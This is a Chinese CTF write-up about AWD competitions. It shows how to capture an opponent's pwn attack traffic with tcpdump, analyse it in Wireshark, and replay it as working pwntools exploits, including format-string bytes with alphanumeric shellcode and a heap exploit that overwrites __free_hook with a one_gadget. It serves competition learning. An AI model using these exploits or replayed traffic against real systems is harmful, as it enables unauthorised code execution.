AWD下PWN题流量捕获和反打实验

部署远程模拟环境

我这里用一个vps模拟被攻击的远程主机,并在其上面用tcpdump监听pwn题所在的端口,然后在本地运行exp攻击远程主机上的pwn题。

安装tcpdump

使用指令sudo apt install tcpdump,在远程主机上安装流量抓取工具。

部署pwn题

随便找一道简单的pwn题,然后将它放在我们模拟的远程主机上,再用socat将远程主机上的某个端口转发到该pwn程序上,指令如下:

sudo socat tcp-l:2300,fork exec:./pwn

最后在本地上使用指令nc ip prot,测试下远程服务是否正常。

抓取攻击流量

现在已经在远程主机上部署好了pwn题,然后在远程主机使用指令sudo tcpdump -i eth0 -w demo.pcap port 2300。该指令的作用是监听pwn题所在的端口,并将所抓取到的流量保存为demo.pcap文件。

因为awd中一般我们只能在终端中对远程主机进行控制,而在命令行中分析流量效率太低,所以这里我将抓取到的流量保存为文件,然后再复制到本地,最后在wireshark图形界面上分析。

端口监听好后就可以在本地上运行exp,向远程主机发起攻击。攻击结束后,在远程主机上关闭监听后就会生成监听到的流量文件,如下图所示:

在这里插入图片描述

流量分析

将流量文件拖到wireshark后的结果如下图所示:

在这里插入图片描述

因为没有其它流量,所以不用过滤就可以很容易找到整个对话,先随便右键一条流量,选择“追踪流->tcp流”后就可以看到流量详情,如下图所示:

在这里插入图片描述

蓝色高亮的是远程主机发送给攻击者的流量,红色高亮的是远程主机接收到攻击者的流量。左下角可以选择只看发送方或者接收方,右下角可以改变流量的数据类型。我个人更喜欢看Hex 转储界面,如下图所示:

在这里插入图片描述

在这个视图里既可以看到流量的16进制的形式,也可以看到流量的ascii码。

根据流量写攻击脚本

既然拿到了攻击者的流量,那么就可以“以其人之道,还治其人之身”。如果攻击流量不多的话,我更喜欢看C Arrays视图,我觉得这样更方便编写exp,

如下图所示:

在这里插入图片描述

我们可以不用处理数据,直接将高亮的数组复制到脚本里,然后用pwntools里的p8()转码后发送即可,脚本如下:

from pwn import *
context(arch="amd64",os="linux")
context.log_level = "debug"
io = process('./pwn')
a = [0xef, 0x8f, 0xf7, 0xaa, 0x95, 0x89, 0xff, 0x3f]
b = [0x25, 0x35, 0x30, 0x31, 0x63, 0x25, 0x32, 0x35, 
0x24, 0x6c, 0x6c, 0x6e, 0x25, 0x31, 0x34, 0x63, 
0x25, 0x32, 0x36, 0x24, 0x68, 0x68, 0x6e, 0x61, 
0xbc, 0x10, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 
0xbe, 0x10, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x0a]
c = [0x50, 0x68, 0x30, 0x36, 0x36, 0x36, 0x54, 0x59, 
0x31, 0x31, 0x33, 0x31, 0x58, 0x68, 0x33, 0x33, 
0x33, 0x33, 0x31, 0x31, 0x6b, 0x31, 0x33, 0x58, 
0x6a, 0x69, 0x56, 0x31, 0x31, 0x48, 0x63, 0x31, 
0x5a, 0x58, 0x59, 0x66, 0x31, 0x54, 0x71, 0x49, 
0x48, 0x66, 0x39, 0x6b, 0x44, 0x71, 0x57, 0x30, 
0x32, 0x44, 0x71, 0x58, 0x30, 0x44, 0x31, 0x48, 
0x75, 0x33, 0x4d, 0x32, 0x47, 0x30, 0x5a, 0x32, 
0x6f, 0x34, 0x48, 0x30, 0x75, 0x30, 0x50, 0x31, 
0x36, 0x30, 0x5a, 0x30, 0x67, 0x37, 0x4f, 0x30, 
0x5a, 0x30, 0x43, 0x31, 0x30, 0x30, 0x79, 0x35, 
0x4f, 0x33, 0x47, 0x30, 0x32, 0x30, 0x42, 0x32, 
0x6e, 0x30, 0x36, 0x30, 0x4e, 0x34, 0x71, 0x30, 
0x6e, 0x32, 0x74, 0x30, 0x42, 0x30, 0x30, 0x30, 
0x31, 0x30, 0x31, 0x30, 0x48, 0x33, 0x53, 0x32, 
0x79, 0x30, 0x59, 0x30, 0x4f, 0x30, 0x6e, 0x30, 
0x7a, 0x30, 0x31, 0x33, 0x34, 0x30, 0x64, 0x32, 
0x46, 0x34, 0x79, 0x38, 0x50, 0x31, 0x31, 0x35, 
0x6c, 0x31, 0x6e, 0x30, 0x4a, 0x30, 0x68, 0x30, 
0x61, 0x30, 0x37, 0x30, 0x74]
d = b''
e = b''
f = b''
for i in range(len(a)):
    d += p8(a[i])
for i in range(len(b)):
    e += p8(b[i])
for i in range(len(c)):
    f += p8(c[i])

io.send(d)
io.send(e)
io.recv()
io.send(f)
io.interactive()

这个用流量脚本打的话,远程和本地会有一些差别,具体原因不太清楚。可能是因为我发送的是流量的缘故,所以在发送shellcode流量之前,要先接收缓存区中远程服务器发送过来的流量,这样远程才能攻击成功,本地攻击则不需要。

需要地址泄露情形下的流量分析

上面的拿到pwn题的情形比较理想化,因为没有涉及地址泄露,所以只要拿着攻击者的流量原模原样打就能成功,接下来分析一下需要地址泄露情形下的流量分析。

流量分析

在这里插入图片描述

这是一道2.27libc下堆题的攻击流量,可以看到有庞大的流量发送和接收,如果按照之前的办法来写脚本肯定不行。而且这道题保护全开,所以攻击者很有可能进行了地址泄露,我们需要以地址泄露的地方为分界线,地址泄露之前的流量可以一模一样拿来打,但地址泄露之后的流量就需要手动修改。接下来的任务就是找到远程发送出去的地址了,这里我还是建议看hex 转储视图,如下所示:

在这里插入图片描述

上面是我定位到的地址泄露的流量,红色框框中的是我认为可以快速定位流量泄露点的特征。一般攻击者会利用程序给的打印堆的功能来泄露地址,所以我们可以找0x33这个流量。这道题中,程序正常返回的流量都是可见字符,所以如果在返回流量中出现一些不明意义的字符,可以猜测就是程序泄露出去的地址,再查看其16进制,有0x7f,基本可以确定这就是攻击者泄露出来的地址。所以以30 0a为界(包括30 0a),之前的流量可以直接拿来用,后面的流量还需要手动更改。

再看看后面的流量,如下图所示:

在这里插入图片描述

上面框出来的流量明显可以看出是攻击者发送给远程主机的两个地址,这个地址是攻击者利用泄露出来的地址和偏移计算出来的某些函数的真实地址,所以这两条流量也需要我们自己修改。要想修改为正确的流量,我们就需要猜测攻击者的想要发送的地址是什么。 在awd中,各个选手的主机是相同的,所以libc版本也一样,这样就可以根据“最后三位不变原则”在验证我们的猜测。如果对堆题比较敏感的话,可以容易猜出来这两个地址是free_hookone_gadget。知道攻击者传的地址后,我们就可以根据我们自己泄露出来的地址计算偏移,发送正确的流量。

根据流量写攻击脚本

因为这次流量发送次数比较多,所以按照之前的方法来编写脚本就比较麻烦,所以这种情况我建议看攻击流量的源数据视图,如下图所示:

在这里插入图片描述

可以发现每条流量的最后是0a,因为0x0a是换行符的ascii码。我们先将地址泄露之前的流量复制下来,然后粘贴到文本编辑器,将\n用空字符替换,从而删除所有换行,如下图所示:

在这里插入图片描述

然后用python的split()函数分割字符串,再打印出来,脚本和运行结果如下:

a = "310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a320a300a320a310a320a320a320a330a320a340a320a350a320a390a320a360a320a370a320a380a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a320a300a320a310a320a320a320a330a320a340a320a350a320a380a320a370a310a3234380a610a320a360a320a390a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a310a31360a610a330a300a"
print(a.split("0a"))

在这里插入图片描述

然后将数组复制到exp中,利用decode()将流量字符编码,最后发送。上述这串流量发送后,再在exp中接收泄露出来的地址,然后计算free_hookone_gadget

后半段流量就以攻击者发送的地址为分界线,将流量中的地址替换为exp中计算出来的地址就可以了,完整的exp如下:

from pwn import *
context.log_level = 'debug'
context(arch="amd64",os="linux")

io = process('easy_heap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# 泄漏地址及之前的攻击流量
a = ['31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61',
 '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31',
  '3136', '61', '31', '3136', '61', '32', '30', '32', '31', '32', '32', '32', '33', '32',
   '34', '32', '35', '32', '39', '32', '36', '32', '37', '32', '38', '31', '3136', '61', '31',
    '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61',
     '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '32', '30', '32',
      '31', '32', '32', '32', '33', '32', '34', '32', '35', '32', '38', '32', '37', '31', '323438',
       '61', '32', '36', '32', '39', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31',
        '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '31', '3136', '61', '33', '30']
for i in a:
    io.sendline(i.decode('hex'))
    time.sleep(0.1)


# 接收泄漏地址,并根据偏移修改相关的真实地址
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = addr-96-0x3EBC40
__free_hook = libc.sym['__free_hook']+libc_base
one_gadget = libc_base + 0x4f302
print(hex(libc_base))
print(hex(__free_hook))
print(hex(one_gadget))



# 后续的攻击流量,将相关地址的流量改为自己的真实地址
c = ['31', '3136', '61', '32', '31', '32', '32', '32', '30', '32', '39', '31', '3136']
for i in c:
    io.sendline(i.decode('hex'))
    sleep(0.1)

io.sendline(p64(__free_hook))

d = ['31', '3136', '61', '31', '3136']
for i in d:
    io.sendline(i.decode('hex'))
    sleep(0.1)

io.sendline(p64(one_gadget))

e = ['32', '33']
for i in e:
    io.sendline(i.decode('hex'))
    sleep(0.1)
io.interactive()
  • 31
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值